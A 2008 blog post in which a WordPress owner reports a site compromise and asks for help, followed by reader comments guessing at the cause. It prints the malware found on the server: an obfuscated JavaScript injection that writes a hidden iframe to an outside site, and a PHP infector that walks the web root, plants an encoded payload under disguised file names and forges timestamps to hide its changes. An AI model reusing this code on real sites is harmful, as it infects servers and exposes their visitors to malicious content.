Hacked !

This blog got hacked yesterday.

It looks like some spammer managed to inject some PHP code into almost all *.php files of WordPress.
It was not just like the classic SQL injection that is usually used to post some malicious post.

The following code was added :

<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>

It make me think that there is a serious vulnerability somewhere on WordPress or a plugin, though my versions were up-to-date.

Now the blog is back to normal, after a clean reinstallation (erased all the former files).

I am not the only one to experience this mess.

For now, the blog is running with a minimal number of plugin – just akismet, actually – until the cause of that gets clearer.

Not a lot of plugins runned before, so it mainly means that the OpenID support for authentication is cut off.

As my php knowledge is very low, anyone having some tips is welcome. I love WordPress, I would like to avoid looking for another platform or switch to static html !

UPDATE 06/13/2008 :
As C.S Lee suggested in a comment, there were a very suspicious wp-stats.php file in the root of my hacked archive.

There is the code :

<?php

@error_reporting(E_ALL);
@set_time_limit(0);
mt_srand(crc32(microtime()));
  
  
define('SHCODE', 'PDaWYgKCRjb2RlID0gQGZyZWFkKEBmb3BlbigkSFRUCmVjaG8gIjwvcHJlPiI7Cj8+');

$pres = array('lib_','co_','pre_','net_','func_','ad_','ext_','new_','old_','fix_','fixed_','na_','av_','fx_');  
$fui = $pres[array_rand($pres)];

global $HTTP_SERVER_VARS;
$START = time();
$WD_TIMEOUT = array(8, 7, 6, 6, 5, 5, 5, 5, 0);

function my_fwrite($f, $data) {
  global $CURFILE;
  $file_mtime = @filemtime($f);
  $file_atime = @fileatime($f);
  $dir_mtime = @filemtime(@dirname($f));
  $dir_atime = @fileatime(@dirname($f));
  if ($file_h = @fopen($f, "wb")) {
    @fwrite($file_h, $data); @fclose($file_h);
    if ($file_mtime) {
      @touch($f, $file_mtime, $file_atime);
    } elseif (@filemtime($CURFILE)) {
      @chmod($f, @fileperms($CURFILE));
      @touch($f, @filemtime($CURFILE), @fileatime($CURFILE));
      @chgrp($f, @filegroup($CURFILE));
      @chown($f, @fileowner($CURFILE));
    };
    if ($dir_mtime) @touch(@dirname($f), $dir_mtime, $dir_atime);
    return $f;
  } else {
    return '';
  };
};

function ext($f) {
  return substr($f, strrpos($f, ".") + 1);
};

function walkdir($p, $func='_walkdir', $l=0) {
  global $START;
  global $WD_TIMEOUT;
  global $FL;
  $func_f = "{$func}_f";
  $func_d = "{$func}_d";
  $func_s = "{$func}_s";
  $func_e = "{$func}_e";
  if ($dh = @opendir("$p")) {
    if (function_exists($func_s)) {
      if ($func_s($p, $l)) return 1;
    };
    while ($f = @readdir($dh)) {
      if (time() - $START >= $WD_TIMEOUT[$l] ) break;
      if ($f == '.' || $f == '..' ) continue;
      if (@is_dir ("$p$f/") ) walkdir("$p$f/", $func, $l+1);
      if (@is_dir ("$p$f/") && function_exists($func_d))
        $func_d("$p$f/", $l);
      if (@is_file("$p$f" ) && function_exists($func_f))
        $func_f("$p$f" , $l);
    };
    closedir($dh);
    if (function_exists($func_e)) $func_e($p, $l);
  };
};

function r_cut($p) {
  global $R;
  return substr($p, strlen($R));
};

function say($t) {
  echo "$t\n";
};

function testdata($t) {
  say(md5("mark_$t"));
};

$R = $HTTP_SERVER_VARS['DOCUMENT_ROOT'];
$CURFILE = $HTTP_SERVER_VARS['DOCUMENT_ROOT'] .
  $HTTP_SERVER_VARS['SCRIPT_NAME'];
echo "<pre>";
testdata('start');
$fe = ext($CURFILE);
if (!$fe) $fe = 'php';
//$FN = "namogofer.$fe";

function _walkdir_s($d, $l) {
  global $FCNT;
  $FCNT = array( 'fn' => '', 'dir' => 0, 'file' => 0, 'simtype' => 0 );
};

function _walkdir_d($d,$l) {
  global $FCNT;
  $FCNT['dir' ]++;
};

function _walkdir_f($f,$l) {
  global $FCNT, $CURFILE;
  $FCNT['file']++;
  if (ext($f) == ext($CURFILE)) $FCNT['simtype']++;
};

function update_passwd($data)
  {
  global $FCNT;
  $password = "";
  $possible = "abcdefghijklmnopqrstuvxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*"; 
  $i = 0;
  while ($i < 15) 
    { 
    $char = substr($possible, mt_rand(0, strlen($possible)-1), 1);
    if (!strstr($password, $char)) 
      { 
      $password .= $char;
      $i++;
      }
    }
  $FCNT['passwd'] = $password;
  $md5password = md5($password);
  return preg_replace("|define\('PASSWD',\s*'(.*)'|", "define('PASSWD','$md5password'", $data);
  }

function notinf($ar, $tx)
  {
  $R = true;
  foreach ($ar as $ca)
    {
    //echo "pass ".substr($tx, 0, strlen($ca))." in $tx for $ca\n";
    if ("$ca" == substr($tx, 0, strlen($ca)))
      {
      $R = false;
      //echo "gotcha\n";
      break;
      }
    }
  return $R;
  }

function _walkdir_e($d,$l) 
  {
  global $C, $FCNT, $FN, $fui, $pres;
  
    $the_data = base64_decode(SHCODE);
    $the_dir = opendir("$d");
    $is_php=false;
    if ($the_dir)
        while($cfile = readdir($the_dir))
            {
            if(
                $is_php=
                
                (('.php' == substr($cfile, -4))and
                 notinf($pres, $cfile)and
                ($cfile!='index.php'))
                 
              )
              {
              $FN = "$fui$cfile";
              break;
              }
              else
              {
              //echo "pass $cfile\n";
              }
            }
                         
        if ( $is_php and my_fwrite("$d$FN", str_repeat("\n",100) . str_repeat('', 150) .
                    update_passwd($the_data . str_repeat(' ', 150) . "\n" . str_repeat("\n", 100))))
                    {
                    $FCNT['fn'] = r_cut("$d$FN");
                    say(implode(" ", $FCNT));
                    }

  };

walkdir("$R/");
testdata('end');
?>

I will try anyway to put a deeper look when I have a little time : now, I have to go to work.

5 thoughts on “Hacked !

  1. JC Post author

    Thanks :)

    So it seems that the code responsible for infecting all the files was injected through a wp-stats.php…

    Now, as I have started from scratch with a fresh archive of WordPress, I don’t have such a file anymore.

    How the hell could this file have been injected ?

  2. Owen

    There are many ways that it could have got put there. One possibility is the directory is not chmod’ed correctly and the file was uploaded from a form. Otherwise it could be a new WordPress exploit that has not been released yet. If you are on a shared server, who knows. It could have been any one on the server with 1/2 a brain. I think that it was a plugin that had a bug.

    I’m going to check for that file on my blogs now.

  3. JC Post author

    My blog is on my own server. I can’t say I have perfectly secured it well yet, but it is not that bad and I am sure of the permission.

    I really think there is an exploit, and as you say most probably on a plug-in.
    Especially, I suspect the OpenID authentication plug-in, because it is quite new, not tested and susceptible to grant access to everything.

    So far, running without any other plugin than Akismet, I haven’t been attacked anymore…
    Time will tell…

  4. Owen

    Well, thats fortunate that you haven’t had any more problems. I know there have been OpenID authentication plug-in exploits for Drupal but am not aware of any for WordPress, very possible though.

Comments are closed.